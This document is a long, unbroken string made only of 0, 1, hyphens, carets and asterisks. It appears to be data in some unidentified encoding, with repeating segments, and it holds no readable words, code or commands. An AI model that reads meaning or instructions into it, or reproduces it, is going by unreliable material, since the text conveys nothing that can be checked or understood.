---^--0^11*00-00-*001^1*10-*-11*101*001^1*10-*-----^--0-11*00-00-*001^1*^1101******-^110-11**1*010^10^-0-11*0-*01*1*110101******011**00101******11***-1**1******11**0^-**1**1*-11*0-1*-**1101*011****011**110-01*101******1**00101101**1******1**0-001**01*01**^1*--------^10-*-00^1101******110--00-**1*010^-01*0-11*0-*01*1*-----^--101*01*-00-*001^1*-01**********1*0^-001**00--^-*101*001*1*-----^---0^1*-00-*001^1*1*^10101*0-11*0101*01*1*101*001^1*^1*0-11*-----^---00101*-00-*001^1*1*^1*10^-11**1*01*1*--------00110-*-00^1101*101^-11*1*^-011*-11*1011*01*1*-----^--**11*-00-*001^1*10-**********1*0^-001**00--10-1*101*001*1*-----^--0^1011*-00-*001^1*0-*0-11*101*001^1*0011*0-11*0101**0110^11****011**00^110-10110^1*0011*00--------01^-*-00^1101*****001*0101010-1**^1^^1*****01**01*^1*001*011*01*1*-----^--110-11*-00-*001^1*10^^-11*********^1*0^-001**00---01*0-11*101*001*1*-----110---1**0-00-*001^1*01011*-11*101*001^1**11*0101**011*-11*--------0^-1*-*1011*-11*-----110--10^1*00-00-*001^1*0101*0-11*********^1*0^-001**00---101*101*001*1*-----110--*-*00-00-*001^1*^1101*****00^--01*1**1*010^110-^-11*1101*01*1*101*001^1*00-*001*001^1*011****011**0110101*0101*1**--------0^-1*-00^10^-11*-----110--00-01*0-00-*001^1*0101101011011*1*^11*-0-11*1011*01*1*********0-*0^-001**00---011*101*001*1*-----110--0010-*0-00-*001^1*-00^-11*101*001^1*0101*0-11*1011*00101****01**10-010-1011*01*0011****011***1101*0101*1**--------00110-*-001*^1********11010-*001*101*01*1*-----110--1101^1*-00-*001^1*1*0^-11*********^1*0^-001**00--1^1*0-11*101*001*1*-----110---10101*-00-*001^1*^1101********001011011*00^1*^1********10-101*001*101*01*1*101*001^1*01011*-----110---*11*-00-*001^1**10^-11*110101******011**00101******1**010-101*001******1**0-01101*001*1011*01101*-**1101*011****01**011*11*0101******11**00^-*001******11**00--*001*11****011**00101010-101^1**--------0^-1*-001*1*-11*-----110----11*-00-*001^1**11*-11*********^1*0^-001**00--1^11*101*001*1*-----10--10^1**-00-*001^1*-11*-11*101*001^1*0-*0-11*--------0^-1*-001*0^-11*-----10--101^1*00-00-*001^1*^1101*********001011*00^1*^1*****01**0101011**01*101*01*1*********10101*--*101****01**0-1010-101^11****011***1101*0101*1***1*0--------^10-*-00^110101*^10-0110-11*0101*01*1*1*^1*0-0-11*0101*01*1*-----10--^-01*0-00-*001^1*1*^1********1101^1*00^1011*01*1*********-1*0^-001**00--11011*0-11*101*001*1*-----10--10110-*0-00-*001^1*^1101******^10101*0101*00^1^^1*****01***-01**1*011*01*1*101*001^1*11011*-----10--10-*1*-00-*001^1*^1101*****0010^^11*1**01*010^1********10--*00^1101*01*1*110101******011**00101******11***1101**1******11**0^101**1*1011*01011*-**1101*011****01**011*11*0101******11**001^1**1******11**0010101**1*11****011**1010101*0101*1**--------0^-1*-00^1*0-11*-----10--10^1011*-00-*001^1*^110101*1*-11*1*^1*********00101*001*101*01*1*********0^1*^-001**00--101011*101*001*1*-----10--10-0-*-00-*001^1*1^1*-11*101*001^1*1101*0-11*-----10---0-11*-00-*001^1*1*^1*****01**0-***0^^1*01*1*110101******011**00101*00-00-11*0^1^-11*011****011**00^110-10110^1*0011*00-**1101*011****011**0-0010-10110^1*0--------0^-1*-001^1*-11*--------^101*00-00-*001^1*^1101********0^11011*00^1*^1*01*-11**1*01*1*********0^1*^-001**00--10101*0-11*101*001*1*--------011*1*0-00-*001^1*0-1*101*001^1*01101******001**^11******01**00101*1*****01**010-011****************01**^1011********011*11******1**010-01********011*01*****01**011*011*****011**00-101*****01**0--********00-101******11**-11*********11*011*****011**1^1******001**01*01******1**01010101*****01**0^1101*****0011**--11*****011**1^1011*****011**1^-********01101*********011*11******01*00-011******1**001*101*****01**0101*******1**00^11******01**--1*****0011***0101*****0011**0011*1******1*001101*******1**1^11********0011011011******1*00--******01**0-^1********0110101*****001**001*101*****011**01*01******01**00^1********011*011*****001**00-011*****01***--********01010^101*10-*001*1*-*001^1*01^^-11*0-*01^1*001*******-1*10--01011*01^1*001****01**0-010^--*11*01^1*001****01**0^110^--01101*01^1*001*******010101010--00101*01^1*001****01**001**0--0^1*01^1*001*******0-11010--*01*01^1*001****01*****0--001101*01^1*********1***-001*1***001**001010-*****0101*00101011****01**001^1^1****10101*01****01**00--010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**00--0110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01**010-11010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**010-110110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*********01010^1^101*0010101^10101*11**01*1101*01^1*********1***-001*1******0101011********001011****01***01^1^1******0010101*11*00--------0010-1*-00^11*--------0^^1*-001011*0^1101********010^101*00^1*^10-1*001*001*1**********01*--*101****01**0-1010-101^11****011***1101*0101*1**-*00--------1^1101*-001011**011*1101**011010-01*-**101**0110^11****011**00^110-101^101****01**10-010-10110-**11****011***1101*0101*1**011*00--------0^1011*-001011**011*1101*001101*0101**-*-11********************^101********00^101*********11*********0110101********00101**********011*********0-*00101*10^1*01011**-*001*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0^10-********011*01***01***1^1^1****10101*11****011**^1101*010^11**01**011****011***0101*0101*1*****1101*01^1*********1***-*101101***010101*11****011**^1101*0101*101****01**00-0101^-001**011****011***0101*0101*1*****1101*01^1*********1***-*101011*****00-----10--101^-*-00101*001^1*^11*01010^11011******0-1*01010-0-*00-----10--11010-1*-00101*001^1*1101101011011*1*^1********-00101*00^^1*01*1*--------0^-1*-*101*0-11*--------1011**0-00101*001^1*^1101*****0010-0-1101101*001*010^110101010-11**1*01*1*********0^1*10-^^110^101101010-*^1**01******001^1*0-1101*001*011*******1**0^1011*00^1011******001**01*101**1*101**011010-01*011*00--------0-11*00-00101*001^1*^1101*-0011*^1********01*101*001*01****01**001**0--*********0^11*001*01****01*****0--001010110-11*1*^1*****01**011010101*001*11*001*1*1101*00101*******^1101*101*1**--------1011011*0-00101*001^1*^1101********01^-1*00^1*^101101^-11*-*001*1*1101**101*--------11*-*-00^110101*^1*********1*1*001*11*001*1*1*^1*****01**01101*1*001*11*001*1*---------0^1*-00101*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^1101010101010-11*1*011*1*0011**--------1*1101*-00101*001^1*^11*0101*001101*--------110-01*-00101*001^1*0-1*01^1*11****011**1*101*001011********11011011********00101011*********^1********00-********************1101*1********00-01********01101*1*********11*********11*011********00101011********1101*1********0011*0101*10101*001*1*********101*1*0-00^1*01^1*001****01*****0--*01*01^1*001*******-1*10--0-*001^1*001****01**0-010^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1***001***010-*****01**001*01***-***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11******010101*101*******01*10-101^11*00-----10--10110101*0-001011*0^110101*^1*****01**0-101**0^-*001*1*1*^10-1*-*001*1*-----10--1^1011*0-001011**001*-11*--------1^-1*-00-1*0-11*-----10--1*-1*0-001011*01011*0-11**********1*0^-001**00--101011*-*00-----10--1^1*1*-001011*00101*0-11*1101*0-01*--------01010-*-00^1101********001101101*00^1*^-10-0-11*011*001*1*-----10---*101*-001011*0^11010^10^-11*1*^1*********^11*001*001*01*1*********1*1*^-001**00--101101*-*00-----10--110-101*-001011*0^110101*^10110-0-11*011*001*1*1*^1********1^^1*001*11*001*1*1101*001011*01^^110101******1^-*0101******11**1^-1*001******11**0110^1*001*11*00--------0010-1*-00^11*-----10--101010-*-001011*00-1*********-*00^-001**00--1^11*-*00-----10--1010-11*-001011**11*0-11*1101**011*0101*00101******0011*1101^-0--------0-0-*-001101101011011*1*^^-010-11*-*001*1*--------01101**-001011*0^1101********001*001*00^1*^-101^-11*011*001*1*********1*1*^-001**00---101*-*00--------*011*00-001011*001011*1101*0^11*--------^-*00-001011*0^1101******00^11*-1**^1^^10-1*-11*101*001*1*01^^110101******^1^1*101******1**011010101*001******1**00-1011*00^110101******00-101*101*********101*1*001********00^10-*00^110101******^1*1*101******01**^1011**1******01**001***01*1**011****01**01*001*0101*0101*11011010^1*0^^-*001**^10-*00101*011*00--------0010-1*-*1011*--------1011*1*-001011*0-01*********-*00^-001**00--1*11*-*00--------10-001*-001011*0^110101*^1*********0-1*001*01*001*1*1*^1*****01***1^1**1*01*001*1*1101*001101******01****11*****001**0101^1*********11011*****001**0101*1*********-101********00110101*****01**0101101*******************00^1011********^11*********^11*********10-11********0011*01********^-11********0011011********0-101******1**011*1********001*1*101*10^1*01011*0^1*0-11**1*01^1*001****01*****0--0-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--0101*001^1*001****01**0^110^--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**0-00-*****01**00-1011***11***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-1^1*******0010101*********11*******0-**001^1*****0011**-0-********01010101*****************************01*01******-*00-0101*****001**011*001*****0101**0101011********01**1*******0010101*********001101******-*001101******001**0-011******101**0101011*****************************0010-******011*001*1101********^10101*****0011**001*********001*********************10-******011*00-0101*********0101******011*00-101*********1********************00101^1*****0011**10101101********11*-*****001**0^1011********01********10^11*001******10101**************************************************************101*00101*1*-^1*1*00-^1^1*01101****-101101^^11**0-1011*************************************************************0101*00101*^10-001*1*010-001^1**11*00-01^11**101*********01*********************1*******************************0101*00101*1*0-001*1**-001^1*-01*1*01*-1011*************************************************************0101*00101*^1101^1*1*01101^1^1**11****-10110101****1**0-010--011*11*01*1*********-*********00-************0--------0-1011********-*********00101*00101*1*101^1*1*00101^1^1**11*10^1*01101*011*01*1*01^1*01101*-1011*************************************************************0101*00101*^^1^1*1*0^1^1^1*-01*00-0110101******001^^-1101101011*01*1*^--1010^11011*001010-10101**1^1^1*01101*101**0110^1011*01*1*******************001^1*********1^1*********0011*******************************011*********0-*00101*1*001^1*1**01^1^1*-01*010-*-1011*************************************************************0101*00101*^-0^1*1*0-0^1^1*01101*00-0110101******001^^-1101^-*01*1*^--1010^^11*001010-10101*0110^1^1*00-*101**01101*-*01*1*********0011******************************001^1*******************001^1*******************00-*00101*1*110^1*1*00110^1^1*01011*010-*-101101^1*101****1**0-1*0-101^-*01*1********************001*****************************************0101*00101*^1010^1*1*01010^1^1**11*0-*01^1*0101****1**00-*01^-01011*01*1**************************************************************0101*00101*1*010^1*1**10^1^1**11*1011*01^1*011*****1*00-01011*101*011*01*1*001****001**-*^--*11*01^1*0101****1****10-11011*01**************************************************************00101*00101*^1^^1*1*01^^1^1*^11*0011*01^1*00101*011*****1**-1**10^^1**1****001**00101*0--00101*******110-0-10110^101^-*-01*01*1*01101*1101*01*1*^1*0-----10--^1^1*0-*0^^1^1*-01*1101*01^1*011*****1**^1011*101*11*****1*****0101*0101*1*1*001****001**0101*00--001*101011*****1*00101^11*101*01****001**101*^--001011*00101*1*1*01*101011*******00101011*10^^-*011*010^10101101**001*0011*********101*11*00^^11*00101*1*1*01*101011**0011*00101*1*1*01*101011*******00101011*10^^-*011*010^101*01**001*1011*********01*-*00^-01*00101*1*1*01*101011*****1*00101^11*101*01****001**101*^--001101*00101*1*1*00101*1^1*1*******0011**1011*-011*011*****1**101101*0101*01****001***101*--*1****001**011*^--00101*******110-0-10110^101^-*^1**1101*001*00^1*0-----10--10^1011*-*0^^1^1*10-*0101*******110-0-10110^101^-*10101*01*1*01101*0101*01*1*^1*00101*01^1*0101*******^^-110110^1*01*1*011*******10101**101******01**011011**01******01**001***0^-----10-----*-*0^^1^1*1101*0-11*^1*01^1*110101******00-11*0101******1***0-1**1******1***1011**01*01**-*011**101**001*01*1**1*01^1*011****011**010-01*101******1**0^1***1******1***10-**^1^1*1*1*--------0^11*00-*0^^1^1*1*^-010^-11**11*1*1*01*101011*******001011*00101******11**101011**01******11***101**01*1011*1^1*1*1*01*101011*******001011*00101******01**-^1**1******01**0^101**^^11*1^1*1*1*--------00^11*0-*0^^1^1*0101*0-11*01*101011****01**01*001*0101*0101*11011010^1*0^^-10-11*00^11011*101**0011*1^1*1*1*01*101011*******001011*00101******11**^1^1*001******11**001*01*00^-01*1^1*1*1*1*^-0101*0^^1^1*^1*0-11*01*101011****001***1^1*101*0011*01*11011**00-0011*01**01*0101*01101*1^1*1*1*1^1*1^1*1*******0011**1011*-011*-1010-0101*0^^1^1*^11*110101******10-001*101*********1*001*001*********1010101*00^^101^-*-1**1101*-*00^1*********0010^11********10^11*********0-********00-10-********-0-1********01*-********01011*********-0^1********01011*****************1**010-11*******************0011*0101*1*^^1*1*00^^1^1*01101*00-0110101******001^^-1101^^1*1*1*^--10101*1011*1*00-10101*1*^1^1*^1101*****001**010^11**1*010^1101*10-11*01011*1*1*-1**1101*^1*1*1*0^1*1^1*1*******0010101^1010-01*1*1*1********************1^1*********1^1******************************-11*******************00-*00101*^1*^1*1*01*^1^1**11*101^^-10110110--0101*1011*--------10^1*00-00-11*1^1**11**1*0101101*101****1****^-101101*1*1*1*110101******10-001*101******01**101*11*001******01**10110-*00^^101^-*-1*001*1*01101*-*001*1*^1*0--------101^1*0-00-11*1^1*11011*-*001^1*110101*******-01*101******01**0-*1*001******01**01^-*001*11*001*1*011*******10101**101******01**-11**001******01**101101**0^---------0-*0-00-11*1^1*1101101*011*1*^--110-11**00^1*1*011*001^1*110101******01*01*010^-01010-11*001*10-11*110101******1010101*0101******01**10^101*001******01**10110-*00^101*001*1*101**-*0101*001*1*001*001*1*-0010-010^-11*1^1*01101*110101******10-001*10^-01*^10^-11*^101^-*-1**1101*-*00^1*0101*001^1*1*******0011**0010-00101****1**0-11*-101101*1*1*1**^-1010^-11*1^1*^11********************110101********00110101*******************0110101**********001********101*********00-0^1********11010101*******************1^1********001101*0101*10-11*1*1*-11*1^1*10-*1*1*1^1*0101****1**0101*--0110110101******11*1*00101******1**010^1**01******1**01101011**^101**-*0-----110--0010-1*-*0-*1^1*0101*0-11*001*001^1*110101******010^1*010^1010-0-11*^1*0-11*011****011**0011*1*101*^11*1*110101^110-0011*001*******************0101*001*01*1011*011*******001011*00101******01**01*01**1******01**-1101**1*11*******001011*00101******1**001011**001******1**0-***01*11****01**01*001*0101*0101*11011010^1*0^^11*101**0^11011*11**1011*0110101******^11**101******11***11**001******11**1^1**001*001*0-----10--1*1101*0-*0-*1^1*0-1*110101*******01101*10^10^^-11*1*0010-11*011****001**^11**101********001^-1*001**********0101*001*001*0110101******-01**10^^-00-11*0-0010-11*-01**1*0-----10--^1*01*-*0-*1^1*11011*110101*******0101*0101**0010-11*11010^-11*011****001***1^1*101*0011*01*11011**00-0010-01**01*0101**1*0-----10--101*101*-*0-*1^1*00-*110101******^1**0101******01**0-0101*001******01**010^11*00^110101******0-*1*101******11**1****1******11**-1***1*11**11****011**1*-*0101*-**^1*00101010-1011*001*1101********************1**1*01*001**11*01********101101^10-0110101******0-1101*101********00^10101*001*********00^11*001*1**-----10--^10-1*-*0-*1^1*^11010-01*-11*1*^-0-10-11*10-*1*1*1101*0110101*******-01*101******11**-1^1*001******11**-0-1*00^110101******010^1*0101******11***1*1*001******11**0010-1*001*11*******001011*00101*********1101011*001********00110^11*001*11**11*******00101011*10^^-*011*010^1010^1**001*0-*********001*01*001*11*******001011*00101******01**001^11*001******01**1*1011*001*11****01**0^^11*101******11**1^1**001******11**1*001**^--------*0011*0-*0-*1^1*^11*0101*0110101******0-*1*101******1**01^101**1******1**010-01**^110101******1011011*0101******1**001*011*001******1**0011*01*001*11****011**0011*1*101*^11*1*110101^-*1011*001*******************01**01*0^10-**01*0^1**01*1^1*011****001**^1^1*101*********0^-*001********001^1011*00^-1*00^1*-1*01^1*011*******01101**101******11**-0101**1******11***1101**1*11****001***1^1*101*1101*01*11011**00-0010-***1*0101******01**0^11011****************1**01010-****************01**0110101******1**0^^1********01011011********01011011********0^11011*****01**0011*01******************001101*0101*1*-*1*1*00-*1^1*^1*0-11***0-010^-01*1^1*01011*101*0011010^^--10101*-1*0101*-010^-01*1^1*-01*101**0110^1**00---101*10101*1*1*0110^-010^-01*1^1*11011*10101*1^1*-01*00110-11010^^1101******-^-*001*001*010^1*****001**001^1**1*1011*1*1*0-010-010^-01*1^1*^1101******1*01*--*00^1^^1*****01**0-1***^^11*1*1*0^1*00110^1**00--101101*10101*1*1*-*-1010^-01*1^1*1101101010-*1*^^^^-11**11*1*1*10101*1^1*01101**********0101********0-011*******************0--*********-**********00101*********00101********00-001********0-011********00^1*0101*10-01*1*1*-01*1^1*00-*01011*1^1*001*******010101010--0^11*1^1*001****01**0^110^--*011*1^1*001****01**001**0--010-*1^1*001*******0-11010--**^1^1*001****01*****0--001101*01^1*1**11010^1*1***001**001^-*****0-**10-01***001**001^11011*1*******0010101*********011*******001**1*01******1**001*11*****01**00--*****************-*1*001***010101**************************************************************101*00101*1*001*1*1**01*1^1*^11***********0010-01101^1*********11*0010-011011****011**001^1*0101*11**01**11****011**10-001*10^1101**-^1^^110^101*001*0101*10-*1^1*-11*01**-**101******0011***101*11****01**01*001*0101*01*0011011010^1*0^^--11**0^11011*00101*001*******10-*0--0-----110--0^-*0-*-*01^1*^110101^^1********01^101*001*101*01*1*1^^1********01^101*001*101*01*1*1101*00101******0011***101*11*******011**0010^^11*-*0010110101**-101101**1*********1^-*00^-*00-----110--1*0101*-*-*01^1*01101*1101*0110101******0-*1*101******01***^1**1******01**011*1**1*11****01**01*001*0101*0101*11011010^1*0^^-11011**01*1011*00101*-*00-----110---*11*-*-*01^1*01101*1101*0110101******0-*1*101******1**0110-1**1******1**01010-**1*11****001***1^1*101*0011*01*11011**00-00^101**001*0101*-*00-----110--00110-*-*-*01^1*01101*--------01^-*-00^1101*****00--1*00-**1*010^1*****001**1010101**1*011*01*1*-----10---1**00-*-*01^1*^1101******00^1*1101**01*010^1********-0^1*001*011*01*1*********10101*010-00110101******0010^1*10^10^110-11*01101*-11*011****011**10-001*10^1101**-1*^^1^10101*001*0101*11011*0101*0-11*001*001*1*--------00110-*-001*^1********-01101*00^1101*01*1*-----10---1*1*0-*-*01^1*^11010^11*-11*1*^1********0-^1*00^1101*01*1*********0^1*010-00110101******0010^1*101*01*10-11*-01^-11*011****01**01*001*0101*01*0011011010^1**0^110--**1*-1*00101*001*001*1*--------0^-1*-*101*0-11*-----10--110-11*0-*-*01^1**1101*011*1*^101101010-11*^1*01*1*********0-*0010-00110101******0010^1*101******01**010^1**1******01**^-**01*11****001***1^1*10^10-*01*11011**10-00-011**001*0101*001*001*1*--------^10-*-00^110101*^10-1010-11*1101*01*1*1*^10-1010-11*1101*01*1*-----10--110-101*-*-*01^1*00-**********1*0^-*01*001^1*10^1*01*00-----10--10-0011*-*-*01^1*^11*1101*0110101******0-101*0101******11**1****1******11**1^11**0^110101******010101*00101******1**0-0011**1******1**0010101**01*11****011**10-001*10^1101**-1*^^-0^1**1*0101*^11*-1*0-11*11**0^1*1011*0011*******01101**101******1***0011**01******1**0--**01*11****01**01*001*0101*0101*11011010^1*0^^1^1011**0^^11*00101*110101******1101011*0101******11***00-*001******11**0110-1*001*11****011**10-001*10^1101**-1*^^-0^1**1*0101*10-*1011*0-11*011****01**01*001*0101*01*0011011010^1**0^-*101**1*0011*001**01*******^1*00--00101**01*0--------1^101*0-*-*01^1*^1101*****0011*0101*101**^1^^1********010-11*001*101*01*1*110101******10^11*0101******01**010-**01******01**1****^11**011****01**01*001*0101*0101*11011010^1*0^^-*001**1*1101*001**001*0--------011*01*-*-*01^1*-01*110101******10^11*0101******01****1**1******01**110-1**1*01*******0-1*0--0011*******00101011*10^^-*011*010^101^101**0^10-*********10^101*001*001**11*00101****1***1010-^-********01^11*********1^11****************001**-*1*****001**011*01*****001**0101^11*****01**0--1****************01**0101*11*****01***11*******1**1010-******1***11*********11010-*****01**00^-1********1^11******01**-*1*********001*101*^-*01*1*0-*01^1*0-1*-----10--1*01101*-00-*001^1*^1101*****00^11*010^11*001*010^1********10^-*001*011*01*1*********10101**-00--------1^-1*-*0-*-----10--1*01011*-00-*001^1*^11**********1*0^-001**00--1^11*101*001*1*-----10--101*-*-00-*001^1*^11010^1*0-11*1*^1^-10-11*1101*01*1*101*001^1*-01*--------01^-*-00^1101********010101011*00^1*^1*****01**0010-1**^^1*01*1*---------**00-00-*001^1*^1*0-11*********^1*0^-001**00--101101*101*001*1*--------01011**-00-*001^1*^1101******^^10--**1*010^--110-11**1*01*1*101*001^1*^11*01010^--------1^-1*-0011011*--------011011*00-00-*001^1*0101*0-11*********^1*0^-001**00--1*11*101*001*1*--------^^1*0-00-*001^1*0011*0-11*101*001^1**11*--------1010101*0-00-*001^1*^1101*********1*01*00^1*^1*****01***010-*00^^1*01*1*********010-0110-1*1101*^101^-*101**--------01^-*-00^1101******1*001101*11*00^1^^1*****01**0^10101*001*101*01*1*--------011*01*-00-*001^1*^1101********00^-1*00^1*^1*****01**0^^1**^^1*01*1*********10101*^-001**00---101*101*001*1*--------10^101*-00-*001^1*^1101******--*-**001*010^1********001*01*001*001*01*1*101*001^1*01101*******************00^^11********0010-********011011011********1011*1********^^11*********11**********11**********-11********11*101********0-*1********1^-1*********1011********0010^1********0010^1********0-1*0101*10-*001*1*-*001^1*0-*0-11*0011*01^1*001*******010101010--01101*01^1*001****01*****0--00101*01^1*001****01**0^110^--0^1*01^1*001*******0-11010--*01*01^1*001*******-1*10--001101*01^1*********1***-001*1***001**010^-******1*00-0011****1**001^11011*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11********00--------0110101*0-*10101*1^1*11****011**^^1*001011******************00-********************0-*********00-*********00101*00101*^11*001*1*011*001^1**11*01010^--------01010-*-00^110^110-0-11*1*^1*********00101*001*01*001*1*--------0101101*0-001011*00-1*********-**10-0010-01*011*-*00--------^1011*0-001011**-*1101**011010-**01**-*01101*00101101010^1*01**-*00101**011010-01*011**101*******0101010-1011*1*0011011******00-**11*-**11011******011**0011*101**--------*0^1*-001011*01101101011011*1*^11*1*-11*001*001*1*--------0010-1*-0011011*--------11*101*-001011*0^1101********01011*1*00^1*^1********1*1101*001*01*001*1*********00101*********1**0101*101*01^11*00^1101010110110-11*1*0110101**01**-*0--------^^11*-001011*010-*0101*001101*********01*11*********01*1********^1*********0^1011********001*01*********10101*****************************00101011*********1*01********00101*0101*10^1*01011*0^11*001*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001***^-********1*-1***01***1^1^1*********--------1*1**-*01*001^1*^11*01010^1*******0011**0010-0-*00--------1^-1*-00^11*--------01^1*00-*01*001^1*0011*0-11*********^1*0010-0010-01*011**1*0---------011*00-*01*001^1*^1101*****001*1*10^-*00^1^^110-*011*001*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------0010101*0-*01*001^1*0101*0-11*1101*00101****1**0101*01*10^--------11*11*0-*01*001^1*0101*0-11*1101*00101****1**010^1*0010^--------0^-*0-*01*001^1*0101*0-11*1101**101*--------01^-*-0011011*--------00110-*-001*^1*****01**0-***0^101*001*1*--------*0^1*-*01*001^1*10-*********10101**********1*********001**101*101*01^11*00^1101*011010-11*1*01^1**11**--------10110101*-*01*001^1*^11*0101*001101*---------01101*-*01*001^1*-01*01^1*11****011***^1*001011********10^101********0-*1********1*-*******************00110101*********^1********01^101********001*11********01^101*********011********************-********************1011*0101*1*1*001*1*********^^1*0-*11*001^1*001****01**0^110^--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**011*-*****01**0^1****11***01^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11************1^10101*0010101*00-1*01*00^11011***1************0011*01*1*001*-0^-*01**00-***001********-*1********10101*001*01*1**************************************************************0101*00101*^1*^1*1*01*^1^1*01011*00-0110101******001^^-110110-*001*1*--------01010-*-00110110^-1*1*^1********^-01*001**0^1*1*--------0-0011*-00-11*1^1**11**********1*0^-00-*001*1*********10^1******************************10^1*********-1********************-1*********-*00101*10-11*1*1*-11*1^1*01011*********001^1010-011*1*01^1*-*001*1*0101******00^-10-101^10101^1101*-*001*1*0101****1**01*--110110101*001*1*001*001*1*-*001*1*-*******************************0011********************0011*********0101*00101*1010-*1*1*10-*1^1*-01*-*001^1*0101*******01*0-00-*************************************************************00101*00101*1011011*1*1*11011*1^1**11*00-0110101******001^^-1101^11*001*1*--------1^-1*-00^11*--------0-0011*-00^11*1^1*01011**********1*0^-*11*001*1******************************010101*********00-*******************0010101*******************00-*00101*10^11*1*1*^11*1^1**11*********11*01010-0110101****1**01^--1101^11**101****1**0110--^-001101*01101*0101****1**0110--^-001101*01101*011*001*1**************************************************************0101*00101*10-01*1*1*-01*1^1*01011*-----^--001**00-00-1*01^1*00-**********1**0-00--------1^-1*-0011011*-----^---01**-00-1*01^1*10101*-11*********^1*0^-001**00--10101*0-11*1011*01*1*-----^--110101*00-00-1*01^1*^110^1^110-11*1*^11*1010-11*00101*1*1*1011*01^1*-01*--------01^-*-00^1101*****0010^-11***00^1^^1*****01****1**01*^1*1*1*-----^--*0101*0-00-1*01^1*1101*0-11*********^1*0^-001**00--101101*1011*01*1*-----^--11*11*0-00-1*01^1*^1101********00^1101*00^1*^110101010-11*00101*1*1*1011*01^1*01011*-----^--*-1*0-00-1*01^1*0-*0-11*1101*00101****1**0^--^-0011****001**11*011*101******11**-01101*001******11***-11*001*011*00^1*0011*01^1*110101******-011*00101******11**1011*1*001******11**--11*001*11****011***0011*0101*1010110-11*-10110-11*011*******0^1101*101******1**0--01*001******1**0^10101*00^1101*00^1*--------01010-*-*10110^1011*1*^1*****01**00-011**^10101*1*1*-----^--0^1011*-00-1*01^1*^110101*^1********1*0011*001*0101*1*1*1*^1**********11*001*0101*1*1**********11*^-001**00--1^11*1011*01*1*-----^--0010-1*-00-1*01^1*01011*1011*01^1*0101*0-11*011*001^1*110101******0-1**101******1**0101*11*001******1**0-10101*00^-*00--------1^-1*-*1011*-----110--*11**-00-1*01^1*00101*-11*********^1*0^-001**00--1^1*0-11*1011*01*1*-----110--001101*00-00-1*01^1*^1101*****00^-*110101**1*010^-101*-11**01*1*1*1011*01^1*0-1*-----110--1*001*0-00-1*01^1*^1101*****00101*110--1*00^1^^-011*0^1*1*1*0011*00101****1***00--00-0010101^11****001**1101^1*101******01**00101**001******01**11*1**01*101011*-^-11*^1*0--------01^-*-00^110101*^1*01*-11*1^1*1*1*1*^1********1*1101*00^1^1*1*1*-----110----1*0-00-1*01^1*01101*-11*********^1*0^-001**00--110-*1011*01*1*-----110--0^^1*-00-1*01^1*-1*0-11*1011*01^1*00-*1011*00101****1**0010-110--0--------0^-1*-00-1*0-11*-----110--11010101*-00-1*01^1*^11**********1*0^-001**00---011*1011*01*1*-----110--10-101*-00-1*01^1*^11*-11*1011*01^1*^1*0-11*01*101*1*001101*110101******10-**101******1**0-*11*001******1***0-11*00^101*001*1*--------01010-*-00^110101*^^-*00101*1*1*1*^11*0^-11*00101*1*1*-----110--10110-*-00-1*01^1*^1*0-11*********^1*0^-001**00--10-1*1011*01*1*-----10--1***00-00-1*01^1*^1101*001010-11*1*^101011010-11*1^1*1*1*1011*01^1**11*-----10--10^1**-00-1*01^1*^1101******11*11**1**^1^^^101*-11*0^1*1*1*0101****1***0-11*101*11****001**11*011*101******1**00^-1*001******1**010-101*001*101*00^1*0101*01^1*110101******-011*00101******01**1*^1*001******01**11*-*001*11****011***0011*0101******01**^10101*001******01**00110101*001*11*******0^1101*101******11***1011**1******11**0--**^^1*00^1*^1*01^1*110101******-011*00101******01**0-0-*001******01**00-001*001*11****011***0011*0101******1**0-10101*001******1**001010101*001***00^1*--------01^-*-00^1101*****00-*-001011**1*010^1*********00101*001**1*1*1*-----10--1*00101*-00-1*01^1*10-**********1*0^-001**00---101*1011*01*1*-----10--10^1101*-00-1*01^1*^1101******11*110-011**1*010^--110-11*1*1*1*1*1011*01^1*11011*101*001^1*0101****1**0-10-1^-0-01*--------0^-1*-0011011*-11*-----10--101101011*-00-1*01^1**11*-11*********^1*0^-001**00--101011*1011*01*1*-----10--1^10-*-00-1*01^1**01*-11*1011*01^1*^11*1101*01^1*110101******-011*00101*********00-11*001*********101*1*001*11****011***0011*0101*********^1011*001********00-01011*00^--------0^-1*-**1*-11*--------00-**-00-1*01^1*01101**********1*0^-001**00--1*11*1011*01*1*--------0-01*00-00-1*01^1*1^1*-11*1011*01^1*10-*001*001^1*011****011**011011*00101*11****01**0101101*00101******11**00-01**1******11**1^1**00^--------0^-1*-001^1*-11*---------0101*0-00-1*01^1**11**********1*0^-001**00--^-*1011*01*1*--------^1011*0-00-1*01^1*^1101*****00-*-10-1**1*010^1*********00101*001**1*1*1*1011*01^1*01101******001****1*****001**011*-********-^11*****011**0110101*****001***1*11********0^1101*****01**01**1*****001**10101******011***0-******1**-1011********01^101******1**1010101********************1^1*****01**0-10-*****011**^1*******1****1*****001**0-1011*****0011**001*1*****0011**0-1******01**011*101*****011**0-1*********0010-1*********11******011**1010-******1**1011*1*****01**010-011********1*11******01**0-1101********0011011********00-1*101*10-1*01*1*-1*01^1*1*1*-11*10101*1^1*001****01**001**0--*101*1^1*001****01*****0--01^1*1^1*001****01**0-010^--00^1*1^1*001****01**0^110^--01*1*1^1*001*******010101010--*001*1^1*001*******-1*10--**^1^1*001*******0-11010--001101*01^1*********1***-001*1***001**001*-*****0101**1*001***11***1^11011*********---------**00-*01*001^1*1101*0-11*01010^-*00--------^10-*-00^1101*****001^10-1*011*001*010^110101010-11**1*01*1*--------01*1*00-*01*001^1*^1101*********11*1*00^1*^1********1*^1*00^-*001*1*********10101*010-0010-01*011**1*0----------*00-*01*001^1*^1*0-11*0011**01101*01*011**0011